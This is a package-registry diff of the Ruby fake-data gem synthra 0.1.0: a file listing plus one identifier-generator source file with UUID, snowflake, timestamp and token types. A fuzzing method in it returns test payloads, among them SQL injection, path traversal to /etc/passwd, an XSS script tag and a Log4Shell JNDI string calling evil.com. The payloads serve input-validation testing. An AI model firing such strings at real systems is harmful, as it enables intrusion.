synthra 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.rspec +4 -0
- data/.rubocop.yml +40 -0
- data/.yardopts +18 -0
- data/ACCESS_DOCS.md +116 -0
- data/ADVANCED_FEATURES_SUMMARY.md +245 -0
- data/CHANGELOG.md +498 -0
- data/CODE_OF_CONDUCT.md +122 -0
- data/CONTRIBUTING.md +307 -0
- data/DOCUMENTATION.md +204 -0
- data/DOCUMENTATION_GUIDE.md +194 -0
- data/LICENSE +22 -0
- data/README.md +1458 -0
- data/Rakefile +128 -0
- data/benchmark/README.md +591 -0
- data/benchmark/batch_generation.rb +63 -0
- data/benchmark/engine_comparison.rb +295 -0
- data/benchmark/single_record.rb +108 -0
- data/benchmark/streaming.rb +74 -0
- data/docs/ACTIVERECORD_INFERENCE.md +524 -0
- data/docs/API_SERVER.md +278 -0
- data/docs/CONFIG_FILE.md +315 -0
- data/docs/DATA_CONTRACTS.md +312 -0
- data/docs/ENHANCED_REPL.md +304 -0
- data/docs/FACTORY_BOT.md +271 -0
- data/docs/GITHUB_ACTION.md +420 -0
- data/docs/GRAPHQL_EXPORT.md +303 -0
- data/docs/GRAPHQL_FEDERATION.md +651 -0
- data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
- data/docs/LSP.md +189 -0
- data/docs/MIGRATION_GENERATOR.md +547 -0
- data/docs/MOCK_SERVER.md +280 -0
- data/docs/NATIVE_ENGINE.md +298 -0
- data/docs/OPENAPI_EXPORT.md +252 -0
- data/docs/PERFORMANCE_MODE.md +228 -0
- data/docs/PERSONAS.md +547 -0
- data/docs/PROPERTY_TESTING.md +284 -0
- data/docs/PROTOBUF_EXPORT.md +276 -0
- data/docs/QUALITY_METRICS.md +555 -0
- data/docs/QUICK_REFERENCE.md +88 -0
- data/docs/RAILS_ENGINE.md +404 -0
- data/docs/RAILS_INTEGRATION.md +454 -0
- data/docs/README.md +175 -0
- data/docs/REPL_QUICK_REFERENCE.md +149 -0
- data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
- data/docs/SCENARIOS.md +576 -0
- data/docs/SECURITY_TESTING.md +318 -0
- data/docs/SNAPSHOT_TESTING.md +308 -0
- data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
- data/docs/TERRAFORM_EXPORT.md +447 -0
- data/docs/TIME_TRAVEL.md +507 -0
- data/docs/USAGE_GUIDE.md +980 -0
- data/docs/WEBHOOK_SIMULATOR.md +579 -0
- data/docs/advanced_features.md +183 -0
- data/docs/api_reference.md +153 -0
- data/docs/behaviors.md +138 -0
- data/docs/best_practices.md +191 -0
- data/docs/dsl_reference.md +172 -0
- data/docs/examples.md +162 -0
- data/docs/generation_modes.md +125 -0
- data/docs/getting_started.md +92 -0
- data/docs/index.html +177 -0
- data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
- data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
- data/docs/troubleshooting.md +215 -0
- data/docs/type_reference.md +224 -0
- data/examples/hostile_mode_demo.rb +64 -0
- data/exe/synthra +6 -0
- data/ext/synthra_native/Cargo.lock +972 -0
- data/ext/synthra_native/Cargo.toml +46 -0
- data/ext/synthra_native/extconf.rb +41 -0
- data/ext/synthra_native/src/generator.rs +397 -0
- data/ext/synthra_native/src/lib.rs +229 -0
- data/ext/synthra_native/src/types.rs +1485 -0
- data/lib/generators/synthra/install_generator.rb +86 -0
- data/lib/generators/synthra/templates/api_response.dsl +15 -0
- data/lib/generators/synthra/templates/fake_data.rake +116 -0
- data/lib/generators/synthra/templates/synthra.yml +31 -0
- data/lib/generators/synthra/templates/synthra_support.rb +19 -0
- data/lib/generators/synthra/templates/user.dsl +11 -0
- data/lib/synthra/activerecord_inference.rb +394 -0
- data/lib/synthra/api.rb +381 -0
- data/lib/synthra/api_server.rb +718 -0
- data/lib/synthra/behaviors/applicator.rb +165 -0
- data/lib/synthra/behaviors/base.rb +155 -0
- data/lib/synthra/behaviors/close_connection.rb +60 -0
- data/lib/synthra/behaviors/deprecated.rb +100 -0
- data/lib/synthra/behaviors/failure.rb +69 -0
- data/lib/synthra/behaviors/latency.rb +103 -0
- data/lib/synthra/behaviors/partial_data.rb +83 -0
- data/lib/synthra/behaviors/randomize_order.rb +74 -0
- data/lib/synthra/behaviors/registry.rb +238 -0
- data/lib/synthra/behaviors/simulate_error.rb +79 -0
- data/lib/synthra/cli/commands/base.rb +105 -0
- data/lib/synthra/cli/commands/diff.rb +227 -0
- data/lib/synthra/cli/commands/docs.rb +67 -0
- data/lib/synthra/cli/commands/export.rb +150 -0
- data/lib/synthra/cli/commands/generate.rb +72 -0
- data/lib/synthra/cli/commands/import.rb +80 -0
- data/lib/synthra/cli/commands/lint.rb +53 -0
- data/lib/synthra/cli/commands/live.rb +57 -0
- data/lib/synthra/cli/commands/seed.rb +99 -0
- data/lib/synthra/cli/commands/validate.rb +28 -0
- data/lib/synthra/cli.rb +2471 -0
- data/lib/synthra/config_file.rb +129 -0
- data/lib/synthra/configuration.rb +281 -0
- data/lib/synthra/contracts_registry.rb +408 -0
- data/lib/synthra/database_seeder.rb +268 -0
- data/lib/synthra/deterministic_ids.rb +218 -0
- data/lib/synthra/documentation_generator.rb +414 -0
- data/lib/synthra/engine.rb +251 -0
- data/lib/synthra/errors.rb +1169 -0
- data/lib/synthra/export/base.rb +85 -0
- data/lib/synthra/export/csv.rb +101 -0
- data/lib/synthra/export/graphql.rb +266 -0
- data/lib/synthra/export/graphql_federation.rb +377 -0
- data/lib/synthra/export/graphviz.rb +258 -0
- data/lib/synthra/export/javascript.rb +327 -0
- data/lib/synthra/export/json_data.rb +61 -0
- data/lib/synthra/export/json_schema.rb +290 -0
- data/lib/synthra/export/openapi.rb +514 -0
- data/lib/synthra/export/protobuf.rb +483 -0
- data/lib/synthra/export/python.rb +560 -0
- data/lib/synthra/export/sql.rb +381 -0
- data/lib/synthra/export/sql_insert.rb +152 -0
- data/lib/synthra/export/terraform.rb +501 -0
- data/lib/synthra/export/type_mapping.rb +389 -0
- data/lib/synthra/export/typescript.rb +300 -0
- data/lib/synthra/export/xml_data.rb +104 -0
- data/lib/synthra/export/yaml_data.rb +56 -0
- data/lib/synthra/export.rb +404 -0
- data/lib/synthra/factory_bot_integration.rb +157 -0
- data/lib/synthra/field.rb +440 -0
- data/lib/synthra/functions/registry.rb +104 -0
- data/lib/synthra/generator/context.rb +372 -0
- data/lib/synthra/generator/engine.rb +336 -0
- data/lib/synthra/generator/faker_adapter.rb +425 -0
- data/lib/synthra/generator/modes.rb +444 -0
- data/lib/synthra/generator/resolver.rb +256 -0
- data/lib/synthra/generator/rng.rb +273 -0
- data/lib/synthra/generator/streamer.rb +63 -0
- data/lib/synthra/generator/uniqueness.rb +118 -0
- data/lib/synthra/initializer.rb +97 -0
- data/lib/synthra/limits.rb +279 -0
- data/lib/synthra/live_preview.rb +518 -0
- data/lib/synthra/loader_config.rb +78 -0
- data/lib/synthra/lsp/server.rb +689 -0
- data/lib/synthra/migration_generator.rb +301 -0
- data/lib/synthra/mixin.rb +174 -0
- data/lib/synthra/mock_server.rb +458 -0
- data/lib/synthra/native_engine.rb +304 -0
- data/lib/synthra/openapi_importer.rb +228 -0
- data/lib/synthra/output/json_formatter.rb +40 -0
- data/lib/synthra/output/ndjson_formatter.rb +55 -0
- data/lib/synthra/parser/ast.rb +1287 -0
- data/lib/synthra/parser/lexer.rb +1152 -0
- data/lib/synthra/parser/parser.rb +1664 -0
- data/lib/synthra/parser/tokens.rb +461 -0
- data/lib/synthra/performance_mode.rb +364 -0
- data/lib/synthra/personas.rb +397 -0
- data/lib/synthra/property_testing.rb +172 -0
- data/lib/synthra/quality_metrics.rb +405 -0
- data/lib/synthra/rails_test_helper.rb +248 -0
- data/lib/synthra/registry.rb +533 -0
- data/lib/synthra/relationships.rb +193 -0
- data/lib/synthra/repl/enhanced_repl.rb +607 -0
- data/lib/synthra/repl/formatter.rb +191 -0
- data/lib/synthra/scenarios.rb +423 -0
- data/lib/synthra/schema.rb +605 -0
- data/lib/synthra/schema_inheritance.rb +104 -0
- data/lib/synthra/schema_versioning.rb +212 -0
- data/lib/synthra/snapshot_testing.rb +199 -0
- data/lib/synthra/time_travel.rb +338 -0
- data/lib/synthra/type_definitions.rb +274 -0
- data/lib/synthra/types/address_location/addresses.rb +125 -0
- data/lib/synthra/types/address_location/airports.rb +200 -0
- data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
- data/lib/synthra/types/address_location/locations.rb +406 -0
- data/lib/synthra/types/base.rb +48 -0
- data/lib/synthra/types/commerce_products/commerce.rb +119 -0
- data/lib/synthra/types/commerce_products/companies.rb +71 -0
- data/lib/synthra/types/commerce_products/construction.rb +126 -0
- data/lib/synthra/types/commerce_products/products.rb +205 -0
- data/lib/synthra/types/core/collections.rb +513 -0
- data/lib/synthra/types/core/defaults.rb +76 -0
- data/lib/synthra/types/core/enums.rb +102 -0
- data/lib/synthra/types/core/identifiers.rb +445 -0
- data/lib/synthra/types/core/primitives.rb +586 -0
- data/lib/synthra/types/core/references.rb +466 -0
- data/lib/synthra/types/core/sequences.rb +304 -0
- data/lib/synthra/types/crypto/crypto.rb +162 -0
- data/lib/synthra/types/date_time/dates.rb +387 -0
- data/lib/synthra/types/finance_banking/banking.rb +424 -0
- data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
- data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
- data/lib/synthra/types/formula.rb +184 -0
- data/lib/synthra/types/health_medical/medical.rb +150 -0
- data/lib/synthra/types/hostile_payloads.rb +122 -0
- data/lib/synthra/types/json_array.rb +51 -0
- data/lib/synthra/types/media_entertainment/media.rb +62 -0
- data/lib/synthra/types/naughty_string.rb +30 -0
- data/lib/synthra/types/personal_names/chinese.rb +41 -0
- data/lib/synthra/types/personal_names/identifiers.rb +187 -0
- data/lib/synthra/types/personal_names/names.rb +246 -0
- data/lib/synthra/types/personal_names/national_id.rb +89 -0
- data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
- data/lib/synthra/types/regex.rb +248 -0
- data/lib/synthra/types/registry.rb +182 -0
- data/lib/synthra/types/repeating_element.rb +50 -0
- data/lib/synthra/types/scenario.rb +29 -0
- data/lib/synthra/types/technology_internet/apps.rb +67 -0
- data/lib/synthra/types/technology_internet/communication.rb +162 -0
- data/lib/synthra/types/technology_internet/devices.rb +80 -0
- data/lib/synthra/types/technology_internet/formats.rb +139 -0
- data/lib/synthra/types/technology_internet/networking.rb +143 -0
- data/lib/synthra/types/template.rb +92 -0
- data/lib/synthra/types/text_content/business.rb +128 -0
- data/lib/synthra/types/text_content/colors.rb +70 -0
- data/lib/synthra/types/text_content/misc.rb +237 -0
- data/lib/synthra/types/text_content/security.rb +130 -0
- data/lib/synthra/types/text_content/text_generation.rb +532 -0
- data/lib/synthra/types/travel/travel.rb +150 -0
- data/lib/synthra/utils/string_distance.rb +133 -0
- data/lib/synthra/validator/dsl_validator.rb +339 -0
- data/lib/synthra/validator/path_validator.rb +615 -0
- data/lib/synthra/version.rb +35 -0
- data/lib/synthra/webhook_simulator.rb +341 -0
- data/lib/synthra.rb +259 -0
- data/schemas/address.dsl +16 -0
- data/schemas/api_response.dsl +8 -0
- data/schemas/error_payload.dsl +9 -0
- data/schemas/order.dsl +10 -0
- data/schemas/order_item.dsl +8 -0
- data/schemas/payment.dsl +11 -0
- data/schemas/social_post.dsl +13 -0
- data/schemas/user.dsl +10 -0
- data/scripts/batch_fix_all.rb +96 -0
- data/scripts/delete_old_files.rb +32 -0
- data/scripts/fix_all_grouped_files.rb +137 -0
- data/scripts/fix_all_indentation.rb +48 -0
- data/scripts/fix_all_syntax.rb +124 -0
- data/scripts/fix_grouped_files.rb +184 -0
- data/scripts/fix_syntax_errors.rb +108 -0
- data/scripts/group_domain_types.rb +112 -0
- data/scripts/group_domain_types_fixed.rb +150 -0
- data/scripts/merge_domains_to_one_file.rb +68 -0
- data/scripts/move_existing_types.rb +130 -0
- data/scripts/split_grouped_types.rb +142 -0
- data/tech_docs/README.md +134 -0
- data/tech_docs/advanced/streaming.md +405 -0
- data/tech_docs/advanced/thread_safety.md +253 -0
- data/tech_docs/api/overview.md +485 -0
- data/tech_docs/appendices/type_chart.md +193 -0
- data/tech_docs/basic_concepts.md +383 -0
- data/tech_docs/behaviors/overview.md +346 -0
- data/tech_docs/dsl/complex_types.md +790 -0
- data/tech_docs/dsl/core_types.md +464 -0
- data/tech_docs/dsl/datetime_types.md +325 -0
- data/tech_docs/dsl/field_modifiers.md +414 -0
- data/tech_docs/dsl/grammar.md +431 -0
- data/tech_docs/dsl/schema_definition.md +399 -0
- data/tech_docs/export/README.md +276 -0
- data/tech_docs/installation.md +273 -0
- data/tech_docs/integration/ci_cd.md +707 -0
- data/tech_docs/integration/ci_cd_guide.md +579 -0
- data/tech_docs/integration/factory_bot.md +485 -0
- data/tech_docs/integration/rails.md +630 -0
- data/tech_docs/integration/rspec.md +449 -0
- data/tech_docs/modes/overview.md +350 -0
- data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
- data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
- data/tech_docs/quick_start.md +256 -0
- data/tech_docs/templates/README.md +805 -0
- data/tech_docs/tutorials/advanced.md +371 -0
- data/tech_docs/tutorials/getting_started.md +189 -0
- data/tech_docs/tutorials/intermediate.md +231 -0
- data/tech_docs/tutorials/template_gallery.md +569 -0
- data/tech_example/01_basic_usage.rb +238 -0
- data/tech_example/02_types_demo.rb +336 -0
- data/tech_example/04_cli_usage.md +429 -0
- data/tech_example/05_database_seeding.rb +283 -0
- data/tech_example/07_rspec_integration.rb +359 -0
- data/tech_example/10_custom_types.rb +387 -0
- data/tech_example/12_behaviors.rb +372 -0
- data/tech_example/13_twitter_dm_example.rb +120 -0
- data/tech_example/14_exact_json_structure.rb +253 -0
- data/tech_example/16_lsp_server.rb +56 -0
- data/tech_example/17_property_testing.rb +92 -0
- data/tech_example/18_enhanced_repl.rb +120 -0
- data/tech_example/19_security_fuzzing.rb +145 -0
- data/tech_example/NEW_FEATURES.md +169 -0
- data/tech_example/README.md +118 -0
- data/tech_example/schemas/api_response.dsl +123 -0
- data/tech_example/schemas/ecommerce.dsl +121 -0
- data/tech_example/schemas/twitter_dm.dsl +109 -0
- data/tech_example/schemas/user.dsl +36 -0
- data/vscode-extension/README.md +246 -0
- data/vscode-extension/language-configuration.json +31 -0
- data/vscode-extension/package.json +55 -0
- data/vscode-extension/snippets/fakedatadsl.json +198 -0
- data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
- metadata +478 -0
|
@@ -0,0 +1,445 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Synthra
|
|
4
|
+
module Types
|
|
5
|
+
module Core
|
|
6
|
+
# UUID type generator with version support
|
|
7
|
+
class Uuid < Base
|
|
8
|
+
def generate_random(rng, context, args)
|
|
9
|
+
version = args[:version] || 4
|
|
10
|
+
case version
|
|
11
|
+
when 4
|
|
12
|
+
generate_v4(rng)
|
|
13
|
+
when 6
|
|
14
|
+
generate_v6(rng)
|
|
15
|
+
when 7
|
|
16
|
+
generate_v7(rng)
|
|
17
|
+
else
|
|
18
|
+
generate_v4(rng)
|
|
19
|
+
end
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
def generate_edge(rng, context, args)
|
|
23
|
+
rng.sample(%w[
|
|
24
|
+
00000000-0000-0000-0000-000000000000
|
|
25
|
+
ffffffff-ffff-ffff-ffff-ffffffffffff
|
|
26
|
+
550e8400-e29b-41d4-a716-446655440000
|
|
27
|
+
])
|
|
28
|
+
end
|
|
29
|
+
|
|
30
|
+
def generate_invalid(rng, context, args)
|
|
31
|
+
rng.sample([
|
|
32
|
+
nil,
|
|
33
|
+
"not-a-uuid",
|
|
34
|
+
"123",
|
|
35
|
+
[],
|
|
36
|
+
{}
|
|
37
|
+
])
|
|
38
|
+
end
|
|
39
|
+
|
|
40
|
+
# Generate hostile UUID values for security testing
|
|
41
|
+
#
|
|
42
|
+
# Returns malformed UUIDs designed to test validation
|
|
43
|
+
# and input handling.
|
|
44
|
+
#
|
|
45
|
+
# @param rng [Generator::RNG] random number generator
|
|
46
|
+
# @param context [Generator::Context] generation context
|
|
47
|
+
# @param args [Hash] type arguments
|
|
48
|
+
# @return [String] hostile UUID
|
|
49
|
+
#
|
|
50
|
+
def generate_hostile(rng, context, args)
|
|
51
|
+
hostile_uuids = [
|
|
52
|
+
"00000000-0000-0000-0000-000000000000", # Nil UUID
|
|
53
|
+
"FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF", # Max UUID
|
|
54
|
+
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", # Non-hex chars
|
|
55
|
+
"' OR '1'='1", # SQLi attempt
|
|
56
|
+
"../../../etc/passwd", # Path traversal
|
|
57
|
+
"<script>alert('xss')</script>", # XSS in UUID field
|
|
58
|
+
"G0000000-0000-0000-0000-000000000000", # Invalid hex (G)
|
|
59
|
+
"00000000000000000000000000000000", # No dashes
|
|
60
|
+
"0-0-0-0-0", # Too short
|
|
61
|
+
"0" * 1000, # Buffer overflow
|
|
62
|
+
"${jndi:ldap://evil.com/a}", # Log4Shell payload
|
|
63
|
+
"%00%00%00%00", # Null bytes
|
|
64
|
+
"\u0000\u0000\u0000\u0000" # Unicode nulls
|
|
65
|
+
]
|
|
66
|
+
rng.sample(hostile_uuids)
|
|
67
|
+
end
|
|
68
|
+
|
|
69
|
+
private
|
|
70
|
+
|
|
71
|
+
def generate_v4(rng)
|
|
72
|
+
# UUID v4 format: xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx
|
|
73
|
+
# 8-4-4-4-12 = 32 hex digits total
|
|
74
|
+
hex = (0..31).map { rng.int(0, 15).to_s(16) }.join
|
|
75
|
+
variant = rng.sample(%w[8 9 a b])
|
|
76
|
+
"#{hex[0, 8]}-#{hex[8, 4]}-4#{hex[13, 3]}-#{variant}#{hex[17, 3]}-#{hex[20, 12]}"
|
|
77
|
+
end
|
|
78
|
+
|
|
79
|
+
def generate_v6(rng)
|
|
80
|
+
# UUID v6: time-ordered version (deterministic)
|
|
81
|
+
# Format: tttttttt-tttt-6ttt-yxxx-xxxxxxxxxxxx
|
|
82
|
+
base_time = Time.utc(2020, 1, 1).to_i * 10_000_000
|
|
83
|
+
days_offset = rng.int(0, 365 * 10) * 86_400 * 10_000_000
|
|
84
|
+
timestamp = base_time + days_offset
|
|
85
|
+
time_hex = format("%012x", timestamp)
|
|
86
|
+
random_hex = (0..19).map { rng.int(0, 15).to_s(16) }.join # Need 20 chars for remaining parts
|
|
87
|
+
variant = rng.sample(%w[8 9 a b])
|
|
88
|
+
"#{time_hex[0, 8]}-#{time_hex[8, 4]}-6#{random_hex[0, 3]}-#{variant}#{random_hex[3, 3]}-#{random_hex[6, 12]}"
|
|
89
|
+
end
|
|
90
|
+
|
|
91
|
+
def generate_v7(rng)
|
|
92
|
+
# UUID v7: Unix epoch time-based (deterministic)
|
|
93
|
+
# Format: tttttttt-tttt-7xxx-yxxx-xxxxxxxxxxxx
|
|
94
|
+
base_time = Time.utc(2020, 1, 1).to_i * 1000
|
|
95
|
+
days_offset = rng.int(0, 365 * 10) * 86_400 * 1000
|
|
96
|
+
timestamp = base_time + days_offset
|
|
97
|
+
time_hex = format("%012x", timestamp)
|
|
98
|
+
random_hex = (0..19).map { rng.int(0, 15).to_s(16) }.join # Need 20 chars for remaining parts
|
|
99
|
+
variant = rng.sample(%w[8 9 a b])
|
|
100
|
+
"#{time_hex[0, 8]}-#{time_hex[8, 4]}-7#{random_hex[0, 3]}-#{variant}#{random_hex[3, 3]}-#{random_hex[6, 12]}"
|
|
101
|
+
end
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
# Snowflake ID type generator (Twitter/Discord style)
|
|
105
|
+
#
|
|
106
|
+
# Generates 19-digit numeric IDs similar to Twitter snowflake IDs.
|
|
107
|
+
# These are time-based, sortable identifiers commonly used in distributed systems.
|
|
108
|
+
#
|
|
109
|
+
# @example Generate Snowflake ID as string (default)
|
|
110
|
+
# snowflake_id
|
|
111
|
+
# snowflake_id(as: string)
|
|
112
|
+
# # => "1548932749832749832"
|
|
113
|
+
#
|
|
114
|
+
# @example Generate Snowflake ID as integer
|
|
115
|
+
# snowflake_id(as: integer)
|
|
116
|
+
# # => 1548932749832749832
|
|
117
|
+
#
|
|
118
|
+
class SnowflakeId < Base
|
|
119
|
+
# Twitter epoch (2006-03-21 00:00:00 UTC in milliseconds)
|
|
120
|
+
TWITTER_EPOCH = 1_142_899_200_000
|
|
121
|
+
|
|
122
|
+
def generate_random(rng, context, args)
|
|
123
|
+
# Generate a snowflake-like ID
|
|
124
|
+
# Base is ~1.5 quintillion to get 19 digits
|
|
125
|
+
base = 1_548_932_749_832_749_832
|
|
126
|
+
offset = rng.int(0, 999_999_999_999)
|
|
127
|
+
value = base + offset
|
|
128
|
+
|
|
129
|
+
format_output(value, args)
|
|
130
|
+
end
|
|
131
|
+
|
|
132
|
+
def generate_edge(rng, context, args)
|
|
133
|
+
values = [
|
|
134
|
+
1, # Minimum
|
|
135
|
+
9_999_999_999_999_999_999, # Maximum 19 digits
|
|
136
|
+
1_548_932_749_832_749_832, # Typical Twitter ID
|
|
137
|
+
1, # Leading zeros equivalent
|
|
138
|
+
TWITTER_EPOCH * 1000 # Epoch-based
|
|
139
|
+
]
|
|
140
|
+
value = rng.sample(values)
|
|
141
|
+
format_output(value, args)
|
|
142
|
+
end
|
|
143
|
+
|
|
144
|
+
def generate_invalid(rng, context, args)
|
|
145
|
+
rng.sample([
|
|
146
|
+
nil,
|
|
147
|
+
"",
|
|
148
|
+
"invalid",
|
|
149
|
+
"123", # Too short
|
|
150
|
+
"-1548932749832749832", # Negative
|
|
151
|
+
12_345 # Wrong type
|
|
152
|
+
])
|
|
153
|
+
end
|
|
154
|
+
|
|
155
|
+
private
|
|
156
|
+
|
|
157
|
+
def format_output(value, args)
|
|
158
|
+
as_type = args[:as] || args["as"] || "string"
|
|
159
|
+
case as_type.to_s.downcase
|
|
160
|
+
when "integer", "int", "number"
|
|
161
|
+
value
|
|
162
|
+
else
|
|
163
|
+
value.to_s
|
|
164
|
+
end
|
|
165
|
+
end
|
|
166
|
+
end
|
|
167
|
+
|
|
168
|
+
# Unix timestamp in milliseconds
|
|
169
|
+
#
|
|
170
|
+
# Generates Unix timestamps in milliseconds, commonly used
|
|
171
|
+
# in APIs like Twitter, Discord, and JavaScript.
|
|
172
|
+
#
|
|
173
|
+
# @example Generate Unix timestamp as string (default)
|
|
174
|
+
# unix_timestamp_ms
|
|
175
|
+
# unix_timestamp_ms(as: string)
|
|
176
|
+
# # => "1704898204000"
|
|
177
|
+
#
|
|
178
|
+
# @example Generate Unix timestamp as integer
|
|
179
|
+
# unix_timestamp_ms(as: integer)
|
|
180
|
+
# # => 1704898204000
|
|
181
|
+
#
|
|
182
|
+
class UnixTimestampMs < Base
|
|
183
|
+
def generate_random(rng, context, args)
|
|
184
|
+
# Generate timestamp within last 2 years
|
|
185
|
+
base_time = Time.now.to_i * 1000
|
|
186
|
+
two_years_ms = 2 * 365 * 24 * 60 * 60 * 1000
|
|
187
|
+
offset = rng.int(0, two_years_ms)
|
|
188
|
+
value = base_time - offset
|
|
189
|
+
|
|
190
|
+
format_output(value, args)
|
|
191
|
+
end
|
|
192
|
+
|
|
193
|
+
def generate_edge(rng, context, args)
|
|
194
|
+
values = [
|
|
195
|
+
0, # Unix epoch
|
|
196
|
+
1_704_898_204_000, # Fixed known timestamp
|
|
197
|
+
Time.now.to_i * 1000, # Current time
|
|
198
|
+
253_402_300_799_000, # Year 9999
|
|
199
|
+
86_400_000 # One day after epoch
|
|
200
|
+
]
|
|
201
|
+
value = rng.sample(values)
|
|
202
|
+
format_output(value, args)
|
|
203
|
+
end
|
|
204
|
+
|
|
205
|
+
def generate_invalid(rng, context, args)
|
|
206
|
+
rng.sample([
|
|
207
|
+
nil,
|
|
208
|
+
"",
|
|
209
|
+
"not-a-timestamp",
|
|
210
|
+
"-1704898204000", # Negative
|
|
211
|
+
"abc123",
|
|
212
|
+
12_345 # Wrong type
|
|
213
|
+
])
|
|
214
|
+
end
|
|
215
|
+
|
|
216
|
+
private
|
|
217
|
+
|
|
218
|
+
def format_output(value, args)
|
|
219
|
+
as_type = args[:as] || args["as"] || "string"
|
|
220
|
+
case as_type.to_s.downcase
|
|
221
|
+
when "integer", "int", "number"
|
|
222
|
+
value
|
|
223
|
+
else
|
|
224
|
+
value.to_s
|
|
225
|
+
end
|
|
226
|
+
end
|
|
227
|
+
end
|
|
228
|
+
|
|
229
|
+
# Numeric string ID with configurable length
|
|
230
|
+
#
|
|
231
|
+
# Generates numeric strings of specified length (9-19 digits by default).
|
|
232
|
+
# Useful for user IDs, account numbers, and similar identifiers.
|
|
233
|
+
#
|
|
234
|
+
# @example Generate numeric string ID
|
|
235
|
+
# id_type = NumericStringId.new
|
|
236
|
+
# id_type.generate_random(rng, context, { min_length: 9, max_length: 19 })
|
|
237
|
+
# # => "7382947182947182"
|
|
238
|
+
#
|
|
239
|
+
class NumericStringId < Base
|
|
240
|
+
def generate_random(rng, context, args)
|
|
241
|
+
min_len = args[:min_length] || args[:min] || 9
|
|
242
|
+
max_len = args[:max_length] || args[:max] || 19
|
|
243
|
+
length = rng.int(min_len, max_len)
|
|
244
|
+
|
|
245
|
+
# Generate number with specified length
|
|
246
|
+
# First digit is 1-9 to avoid leading zeros
|
|
247
|
+
first = rng.int(1, 9).to_s
|
|
248
|
+
rest = (length - 1).times.map { rng.int(0, 9) }.join
|
|
249
|
+
"#{first}#{rest}"
|
|
250
|
+
end
|
|
251
|
+
|
|
252
|
+
def generate_edge(rng, context, args)
|
|
253
|
+
min_len = args[:min_length] || args[:min] || 9
|
|
254
|
+
max_len = args[:max_length] || args[:max] || 19
|
|
255
|
+
|
|
256
|
+
rng.sample([
|
|
257
|
+
"1" * min_len, # All 1s, minimum length
|
|
258
|
+
"9" * max_len, # All 9s, maximum length
|
|
259
|
+
"1" + ("0" * (min_len - 1)), # Min with zeros
|
|
260
|
+
"123456789", # Sequential
|
|
261
|
+
"987654321" # Reverse sequential
|
|
262
|
+
])
|
|
263
|
+
end
|
|
264
|
+
|
|
265
|
+
def generate_invalid(rng, context, args)
|
|
266
|
+
rng.sample([
|
|
267
|
+
nil,
|
|
268
|
+
"",
|
|
269
|
+
"invalid",
|
|
270
|
+
"12.34", # Decimal
|
|
271
|
+
"-123456789", # Negative
|
|
272
|
+
12_345 # Not a string
|
|
273
|
+
])
|
|
274
|
+
end
|
|
275
|
+
end
|
|
276
|
+
|
|
277
|
+
# Alphanumeric ID generator — a fixed-length [A-Za-z0-9] string. Length comes from the
|
|
278
|
+
# positional or named arg: alphanumeric_id(12) → args[:value]; alphanumeric_id(length: 12).
|
|
279
|
+
# Used for license/serial numbers, commit-sha-like ids, API keys, etc.
|
|
280
|
+
class AlphanumericId < Base
|
|
281
|
+
CHARS = (("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a).freeze
|
|
282
|
+
|
|
283
|
+
def generate_random(rng, context, args)
|
|
284
|
+
len = id_length(args)
|
|
285
|
+
Array.new(len) { CHARS[rng.int(0, CHARS.length - 1)] }.join
|
|
286
|
+
end
|
|
287
|
+
|
|
288
|
+
def generate_edge(rng, context, args)
|
|
289
|
+
len = id_length(args)
|
|
290
|
+
rng.sample(["A" * len, "0" * len, "Z" * len])
|
|
291
|
+
end
|
|
292
|
+
|
|
293
|
+
def generate_invalid(rng, context, args)
|
|
294
|
+
rng.sample([nil, "", "has space", "bad!", 12_345])
|
|
295
|
+
end
|
|
296
|
+
|
|
297
|
+
private
|
|
298
|
+
|
|
299
|
+
# Length from a positional (args[:value]) or named (length:/n:/size:) arg; defaults to 12.
|
|
300
|
+
def id_length(args)
|
|
301
|
+
len = (args[:length] || args[:value] || args[:n] || args[:size] || 12).to_i
|
|
302
|
+
len.positive? ? len : 12
|
|
303
|
+
end
|
|
304
|
+
end
|
|
305
|
+
|
|
306
|
+
# Locale generator — BCP-47-style locale tags (e.g. "en-US", "fr-FR") for i18n/profile fields.
|
|
307
|
+
class Locale < Base
|
|
308
|
+
LOCALES = %w[
|
|
309
|
+
en-US en-GB en-CA es-ES es-MX pt-BR pt-PT fr-FR fr-CA de-DE it-IT nl-NL
|
|
310
|
+
sv-SE da-DK nb-NO fi-FI pl-PL ru-RU tr-TR ar-SA he-IL hi-IN ja-JP ko-KR
|
|
311
|
+
zh-CN zh-TW th-TH vi-VN id-ID
|
|
312
|
+
].freeze
|
|
313
|
+
|
|
314
|
+
def generate_random(rng, context, args)
|
|
315
|
+
rng.sample(LOCALES)
|
|
316
|
+
end
|
|
317
|
+
|
|
318
|
+
def generate_edge(rng, context, args)
|
|
319
|
+
rng.sample(["en-US", "zh-CN", "ar-SA"])
|
|
320
|
+
end
|
|
321
|
+
|
|
322
|
+
def generate_invalid(rng, context, args)
|
|
323
|
+
rng.sample([nil, "", "english", "EN_us", "xx-XX", 42])
|
|
324
|
+
end
|
|
325
|
+
end
|
|
326
|
+
|
|
327
|
+
# Token generator — a URL-safe [A-Za-z0-9] string (access/refresh tokens, OAuth codes, API
|
|
328
|
+
# keys). Default length 32; override with token(48) or token(length: 64).
|
|
329
|
+
class Token < Base
|
|
330
|
+
CHARS = (("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a).freeze
|
|
331
|
+
|
|
332
|
+
